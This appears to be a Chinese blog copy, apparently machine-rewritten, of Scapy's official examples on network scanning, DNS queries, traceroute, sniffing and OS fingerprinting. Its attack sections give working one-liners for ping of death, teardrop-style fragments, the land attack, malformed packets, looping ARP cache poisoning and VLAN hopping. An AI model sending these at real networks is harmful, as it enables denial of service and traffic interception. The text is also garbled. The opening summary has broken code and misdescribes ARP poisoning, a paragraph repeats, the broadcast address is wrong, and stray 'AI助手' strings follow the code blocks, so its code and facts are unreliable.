Advertisement

SCAPY官方教程五

阅读量:

以下是关于Scapy工具的使用指南摘要:

Scapy工具概述
Scapy是一个强大的Python库,用于网络协议分析、嗅探和探测攻击活动。它允许开发者模拟真实网络环境并执行各种安全测试。

主要功能模块
简单的TCP扫描

  • 发送SYN请求以探测开放端口
  • 示例命令:
    `python

ans, unans = sr(IP(dst="target", proto=(666, 667)), flags="S")
`
ARP缓存中毒

  • 使用VLAN跳跃或双重802.1q封装隐藏IP地址
  • 示例命令:
    `python

sendp(Ether(dst=clientMAC)/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
`
TCP端口扫描

  • 发送S+命令SYN请求以识别未过滤端口
  • 示例命令:
    `python

res, unans = sr(IP(dst="target", proto=80, flags="S"), multi=True)
`
DNS请求

  • 使用A、SOA、MX等类型查询获取主机信息
  • 示例:
    `python

ans = sr(IP(dst="www.something.org")/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A"))
AI助手
`
ICMP请求

  • 检测实时主机状态(存活与否)
  • 示例命令:
    `python

ans = sr(IP(dst="target")/ICMP())
AI助手
`
UDP跟踪路由

  • 捕获UDP流量并可视化路由器列表
  • 示例:
    `python

res, unans = sr(IP(dst=target)/UDP()/ rnf(5))
make_table(lambda s,r: (s.dst,s.ttl, r.src))
AI助手`

一、简单的one-liners

ACK Scan

借助专业的数据包构建工具Scapy, 该方案允许我们迅速复制经典的 TCP 扫描. 例如发送以下字符串以模拟 ACK 测试:

复制代码
    >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
    
    AI助手

我们可以在应答的数据包中找到未过滤的端口:

复制代码
 >>> for s,r in ans:

    
 ...     if s[TCP].dport == r[TCP].sport:
    
 ...        print("%d is unfiltered" % s[TCP].dport)
    
    
    
    
    AI助手

同样,过滤后的端口可以在未应答的数据包中找到:

复制代码
 >>> for s in unans:

    
 ...     print("%d is filtered" % s[TCP].dport)
    
    
    
    
    AI助手

Xmas Scan

可以使用以下命令启动 Xmas Scan:

复制代码
    >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
    
    AI助手

检查 RST 响应将显示目标上的关闭端口。

IP Scan

较低级别的 IP 扫描可用于枚举支持的协议:

复制代码
    >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
    
    AI助手

ARP Ping

在本地以太网上发现主机的最快方法是使用 ARP Ping 方法:

复制代码
    >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)
    
    AI助手

可以使用以下命令查看答案:

复制代码
    >>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )
    
    AI助手

Scapy 还包括一个内置的 arping() 函数,其执行类似于上述两个命令:

复制代码
    >>> arping("192.168.1.0/24")
    
    AI助手

ICMP Ping

可以使用以下命令模拟经典 ICMP Ping:

复制代码
    >>> ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=3)
    
    AI助手

可以通过以下请求收集有关实时主机的信息:

复制代码
    >>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )
    
    AI助手

TCP Ping

当ICMP回显请求受到阻碍时,在面临这种情况时,我们可以采用多种TCP Ping方法来测试网络连接性。具体来说,我们可以尝试使用TCP SYN Ping。

复制代码
    >>> ans, unans = sr( IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S") )
    
    AI助手

对我们的探测活动的所有反应都表明存在一个活跃主机。这些命令将被用来收集结果:

复制代码
    >>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )
    
    AI助手

UDP Ping

当所有其他方法均未奏效时, 通常会从活动主机发送 UDP Ping 时会触发 ICMP 端口不可达错误. 此时您可选择最可能被关闭的任意端口, 如前所述: 如此操作将有助于定位并修复网络连接问题.

复制代码
    >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
    
    AI助手

再次,可以使用以下命令收集结果:

复制代码
    >>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )
    
    AI助手

二、DNS请求

IPv4 (A) 请求:

这将执行一个寻找 IPv4 地址的 DNS 请求

复制代码
 >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A")))

    
 >>> ans.an.rdata
    
 '217.25.178.5'
    
    
    
    
    AI助手

SOA 请求:

复制代码
 >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="SOA")))

    
 >>> ans.ns.mname
    
 b'dns.ovh.net.'
    
 >>> ans.ns.rname
    
 b'tech.ovh.net.'
    
    
    
    
    AI助手

MX 请求:

复制代码
 >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="google.com",qtype="MX")))

    
 >>> results = [x.exchange for x in ans.an.iterpayloads()]
    
 >>> results
    
 [b'alt1.aspmx.l.google.com.',
    
  b'alt4.aspmx.l.google.com.',
    
  b'aspmx.l.google.com.',
    
  b'alt2.aspmx.l.google.com.',
    
  b'alt3.aspmx.l.google.com.']
    
    
    
    
    AI助手

三、典型攻击

畸形数据包:

复制代码
    >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
    
    AI助手

死亡之音(Muuahahah):

复制代码
    >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
    
    AI助手

雀巢攻击:

复制代码
 >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))

    
 >>> send(IP(dst=target, id=42, frag=48)/("X"*116))
    
 >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
    
    
    
    
    AI助手

陆地攻击(专为 Microsoft Windows 设计):

复制代码
    >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
    
    AI助手

四、 ARP缓存中毒

此攻击通过 VLAN 跳跃攻击毒化其 ARP 缓存来防止客户端加入网关。

经典的 ARP 缓存中毒:

复制代码
 >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),

    
       inter=RandNum(10,40), loop=1 )
    
    
    
    
    AI助手

双重 802.1q 封装的 ARP 缓存中毒:

复制代码
 >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)

    
       /ARP(op="who-has", psrc=gateway, pdst=client),
    
       inter=RandNum(10,40), loop=1 )
    
    
    
    
    AI助手

五、 TCP 端口扫描

在每个端口上发送一个 TCP SYN。等待 SYN-ACK 或 RST 或 ICMP 错误:

复制代码
 >>> res, unans = sr( IP(dst="target")

    
             /TCP(flags="S", dport=(1,1024)) )
    
    
    
    
    AI助手

可能的结果可视化:开放端口

复制代码
    >>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
    
    AI助手

六、I KE 扫描

我们尝试通过发送 ISAKMP 安全协会提案并接收答案来识别 VPN 集中器:

复制代码
 >>> res, unans = sr( IP(dst="192.168.1.0/24")/UDP()

    
             /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
    
             /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
    
           )
    
    
    
    
    AI助手

在列表中可视化结果:

复制代码
    >>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) )
    
    AI助手

七、 高级跟踪路由

TCP SYN 跟踪路由

复制代码
    >>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
    
    AI助手

结果将是:

复制代码
 >>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))

    
 192.168.1.1     time-exceeded
    
 68.86.90.162    time-exceeded
    
 4.79.43.134     time-exceeded
    
 4.79.43.133     time-exceeded
    
 4.68.18.126     time-exceeded
    
 4.68.123.38     time-exceeded
    
 4.2.2.1         SA
    
    
    
    
    AI助手

UDP 跟踪路由

如同我们在使用 TCP 一样,追踪 UDP 应用程序也会面临不可靠性问题,这是因为缺少了握手机制。为了确保可靠通信,必须提供一个应用的有效载荷(如 DNS、ISAKMP 和 NTP 等),这样才能获得准确的答案。

如同我们在使用 TCP 一样,在追踪 UDP 应用程序时也面临着不可靠性的挑战,并非完全没有解决办法。为了确保可靠通信,在进行网络分析之前必须明确其关键组件(如 DNS、ISAKMP 和 NTP 等),这样才能获得准确的答案。

复制代码
 >>> res, unans = sr(IP(dst="target", ttl=(1,20))

    
           /UDP()/DNS(qd=DNSQR(qname="test.com"))
    
    
    
    
    AI助手

我们可以将结果可视化为路由器列表:

复制代码
    >>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src))
    
    AI助手

DNS 跟踪路由

traceroute()功能会被配置为基于一个完整的数据包执行 DNS 位置发现。

复制代码
 >>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))

    
 Begin emission:
    
 ..*....******...******.***...****Finished to send 30 packets.
    
 *****...***...............................
    
 Received 75 packets, got 28 answers, remaining 2 packets
    
    4.2.2.1:udp53
    
 1  192.168.1.1     11
    
 4  68.86.90.162    11
    
 5  4.79.43.134     11
    
 6  4.79.43.133     11
    
 7  4.68.18.62      11
    
 8  4.68.123.6      11
    
 9  4.2.2.1
    
 ...
    
    
    
    
    AI助手

八、 Etherleaking

复制代码
 >>> sr1(IP(dst="172.16.1.232")/ICMP())

    
 <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
    
 <Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>
    
    
    
    
    AI助手

九、ICMP leaking

这是一个 Linux 2.0 错误:

复制代码
 >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())

    
 <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
    
 <IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
    
 <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
    
 <Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>
    
    
    
    
    AI助手

十、Vlan 跳跃

在非常特殊的情况下,双重 802.1q 封装会使数据包跳转到另一个 VLAN:

复制代码
    >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
    
    AI助手

十一、 无线嗅探

以下命令将显示类似于大多数无线嗅探器的信息:

复制代码
    sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))
    
    
    AI助手

支持 Windows 和 macOS 操作系统上运行的用户,请确保启用 monitor=True 参数。请注意, 该功能仅在 scapy 版本 2.4.0 及以上(包括开发版本)中可用。建议您手动设置监视器模式。

上面的命令将产生类似于下面的输出:

复制代码
 00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC

    
 11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
    
 44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
    
 12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble
    
    
    
    
    AI助手

十二、 简单的 ARP 监视器

该脚本通过sniff()回调函数(参数prn)实现了对网络流量的监控,并对其中的数据包进行处理。其中store参数被配置为0以避免内存泄漏问题,并且可以在任何时候重新启动而不受限制。此外,在处理高负载流量时还引入了filter参数以提高性能:这些过滤器直接作用于内核机制以减少不必要的数据处理开销。值得注意的是,在这种配置下Scapy仅捕获ARP流量而不影响其他类型的网络通信。

复制代码
 #! /usr/bin/env python

    
 from scapy.all import *
    
  
    
 def arp_monitor_callback(pkt):
    
     if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
    
     return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
    
  
    
 sniff(prn=arp_monitor_callback, filter="arp", store=0)
    
    
    
    
    AI助手

十三、 识别 LAN 上的恶意 DHCP 服务器

您怀疑有人在您的LAN上安装了一个未经许可的新增DHCP服务器——可能是有意或无意的行为。因此,请您排查运行中的DHCP服务器,并识别它们所使用的IP地址和MAC地址。

使用 Scapy 发送 DHCP 发现请求并分析回复:

复制代码
 >>> conf.checkIPaddr = False

    
 >>> fam,hw = get_if_raw_hwaddr(conf.iface)
    
 >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
    
 >>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
    
 Begin emission:
    
 Finished to send 1 packets.
    
 .*...*..
    
 Received 8 packets, got 2 answers, remaining 0 packets
    
    
    
    
    AI助手

在当前场景中, 系统接收到两个回复, 因此该系统在当前测试网络环境中运行了两个活跃的 DHCP 服务.

复制代码
 >>> ans.summary()

    
 Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
    
 Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
    
    
    
    
    AI助手

我们只对回复的 MAC 和 IP 地址感兴趣:

复制代码
 >>> for p in ans: print p[1][Ether].src, p[1][IP].src

    
 ...
    
 00:de:ad:be:ef:00 192.168.1.1
    
 00:11:11:22:22:33 192.168.1.11
    
    
    
    
    AI助手

我们设置\texttt{multi=True}以使Scapy在接收到第一个回应后继续等待更多的回应数据报。这也解释了为何我们无法简单地调用更为便捷的\texttt{dhcp\_request()}函数来进行操作:因为该函数专门用于处理\texttt{SAR-1}(SRP-1)的数据报发送与接收操作,在接收到第一个应答数据报之后便会立即返回。

此外,在默认情况下,Scapy 会保证所有响应数据包都来源于发起测试请求的那个特定IP地址。然而,在本次测试中我们向广播地址(IP地址:255.255.255.254)发送了 DHCP 数据包,并且所有响应数据包都将基于回 reply 的 DHCP服务器IP地址(例如 192.168.1.1)进行处理。由于所使用的IP地址与当前配置不符,在执行测试操作前需要禁用 Scapy 的验证机制以避免影响后续的数据传输过程

复制代码
    conf.checkIPaddr = False
    
    AI助手

详情参考:

http://en.wikipedia.org/wiki/Rogue_DHCP

十四、 过滤操作

特殊案例

过滤操作后的 TTL 递减仅未过滤的数据包生成 ICMP TTL 超出

复制代码
 >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))

    
 >>> for s,r in ans:
    
     if r.haslayer(ICMP) and r.payload.type == 11:
    
         print s.dport
    
    
    
    
    AI助手

在多 NIC 防火墙上查找子网,只有他自己的 NIC 的 IP 可以通过此 TTL 访问:

复制代码
 >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())

    
 >>> for i in unans: print i.dst
    
    
    
    
    AI助手

TCP 时间戳过滤

许多防火墙均遵循规定,在处理未配置TCP时间戳的TCP流量时进行过滤操作;这种机制在广泛使用的端口扫描工具中常被采用

要允许 Scapy 到达目标目的地,必须使用其他选项:

复制代码
    >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
    
    AI助手

十五、 使用 Wireshark 查看数据包

您已经使用 Scapy 生成或嗅探了一些数据包。

如果您希望深入分析这些网络流量,请您考虑使用Wireshark工具,由于其强大的数据包解析能力而广受好评。

该软件的核心功能旨在提供强大的网络抓包和分析工具。

复制代码
 # First, generate some packets...

    
 packets = IP(src="192.0.2.9", dst=Net("192.0.2.10/30"))/ICMP()
    
  
    
 # Show them with Wireshark
    
 wireshark(packets)
    
    
    
    
    AI助手

Wireshark 将在后台启动,并显示您的数据包。

wireshark**(pktlist ,...)**

建议您采用PacketPacketList作为数据包序列化的方案;对您的数据包进行序列化处理,并将其实时传输至Wireshark中;将stdin视为一个捕获装置。

因为这使用pcap格式来序列化数据包,所以有一些限制:

数据包必须全部相同linktype

例如,您不能在顶层混合Ether和。IP

数据包必须配置为使用DLT_*, 该字段指定连接类型. 如果数据包不包含指定的连接类型(即未定义的连接类型),则会将其替换为默认值DLT_EN10MB, 其对应的实际连接类型是ethernet, 并且在Wireshark中显示结果不符合预期.

例如,在某些情况下(如您所提到的),无法直接传输裸ICMP数据包;但您可以通过将这些数据封装到IP或IPv6数据包中来进行有效传输。

指定文件名(以字符串形式),该操作将加载给定的文件到 Wireshark 中。必须按照 Wireshark 的格式要求进行处理。

建议用户通过调整配置参数指示其在何处获取Wireshark的可执行文件位置。

这接受与 相同的额外参数tcpdump()

WiresharkSink

该接收器专为实现实时数据流量传输而设计,并可访问其详细文档以获取更多信息。(https://scapy.readthedocs.io/en/latest/advanced_usage.html#pipetools)

线鲨(1)

Wireshark 功能及其命令行参数的附加说明。

Wireshark 的网站

对于 Wireshark 的最新版本。

Wireshark 协议文档

本段文字不仅涵盖了关于Wireshark协议解析器的详实资料,并且提供了不同种类网络协议的参考文档。

十六、Scapy的性能表现

Scapy 在重负载下会缓慢剖析和/或丢失数据包。

请记住Scapy的主要目标并非追求速度而是具备高度可逆性和扩展性。在大多数替代方案中数据包模型导致了新层的轻松构建尽管如此仍致力于使其尽可能高效。然而其主要目标并非追求速度。

有很多方法可以加速 scapy 的解剖。您可以使用所有这些

通过BPF过滤器(BF),操作系统的性能相比Scapy而言具有更快的响应速度。如果我们让操作系统的BF机制负责过滤数据包而不是Scapy,则其处理的数据量相对有限。为了实现高效的流量控制,在sniff()函数中设置filter=参数来进行配置。

如果忽略那些您未常用且不希望深入分析的图层,则可以让Scapy自动处理这些层级。**为什么选择性地分析这些通常未被使用的层次?**告诉Scapy需要解析哪些关键层次,并将其余未选中的层级则会被简化地解析为Raw。这样做能够显著提升性能表现。

复制代码
 # Enable filtering: only Ether, IP and ICMP will be dissected

    
 conf.layers.filter([Ether, IP, ICMP])
    
 # Disable filtering: restore everything to normal
    
 conf.layers.unfilter()
    
    
    
    
    AI助手

十七、操作系统指纹

序列号

Scapy可用于进行ISN(初始序列号)变化量的评估,以识别可能存在漏洞的系统.首先,我们将通过在循环中发射多个SYN探测来捕获目标返回值:

复制代码
    >>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
    
    AI助手

当获得足够的响应时(或一旦获得足够的响应),我们可以启动数据分析流程来处理收集到的数据(或进行数据解析)。例如,在数据量达到一定阈值后(如至少几百条反馈),系统会自动触发数据分析任务。

复制代码
 >>> temp = 0

    
 >>> for s, r in ans:
    
 ...    temp = r[TCP].seq - temp
    
 ...    print("%d\t+%d" % (r[TCP].seq, temp))
    
 ...
    
 4278709328      +4275758673
    
 4279655607      +3896934
    
 4280642461      +4276745527
    
 4281648240      +4902713
    
 4282645099      +4277742386
    
 4283643696      +5901310
    
    
    
    
    AI助手

nmap_fp

Scapy 包含 Nmap 的指针扫描功能(这些功能基于 Nmap 从版本 1.0 到 4.20 的早期开发)。这属于其早期版本中的'第一代'特征。
在 Scapy 版本 2 中,请先加载一个额外的扩展模块:

复制代码
    >>> load_module("nmap")
    
    AI助手

如果你选择安装配置Nmap, 你可以将其活动操作系统指纹数据库与Scapy工具进行配合使用。请确认签名数据库版本1已正确放置于以下指定路径中:

复制代码
    >>> conf.nmap_base
    
    AI助手

改写说明

复制代码
 >>> nmap_fp("192.168.1.1",oport=443,cport=1)

    
 Begin emission:
    
 .****..**Finished to send 8 packets.
    
 *................................................
    
 Received 58 packets, got 7 answers, remaining 1 packets
    
 (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
    
 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
    
 w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
    
    
    
    
    AI助手

p0f

假设您已安装了工具箱p0f,请您通过Scapy工具直接获取其运行环境信息(仅依赖SYN数据库)。请确认以下条件已满足:p0f数据文件位于指定位置。

复制代码
    >>> conf.p0f_base
    
    AI助手

例如,从单个捕获的数据包中猜测操作系统:

复制代码
 >>> sniff(prn=prnp0f)

    
 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
    
   -> 74.125.19.104:www (distance 0)
    
 <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>
    
    
    
    
    AI助手

全部评论 (0)

还没有任何评论哟~